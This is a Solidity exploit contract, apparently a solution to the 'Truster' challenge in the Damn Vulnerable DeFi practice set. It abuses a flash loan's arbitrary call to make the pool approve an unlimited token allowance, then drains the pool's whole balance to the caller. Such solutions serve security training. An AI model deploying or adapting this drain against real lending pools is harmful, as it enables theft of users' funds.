Truster receiver (exploit)

TrusterExploiter.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract TrusterExploiter {
    IERC20 public immutable damnValuableToken;
    address payable pool;
    uint256 public immutable MAX_INTEGER = 2**256 - 1;

    constructor(address payable _pool, address _token) {
        pool = _pool;
        damnValuableToken = IERC20(_token);
    }

    function attackTrusterLender() public {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            MAX_INTEGER
        );

        bytes memory signature = abi.encodeWithSignature(
            "flashLoan(uint256,address,address,bytes)",
            0,
            msg.sender,
            address(damnValuableToken),
            data
        );

        (bool success, ) = pool.call(signature);
        require(success, "Attack failed");

        //now we can transfer the tokens to the attacker
        damnValuableToken.transferFrom(
            address(pool),
            msg.sender,
            damnValuableToken.balanceOf(address(pool))
        );
    }
}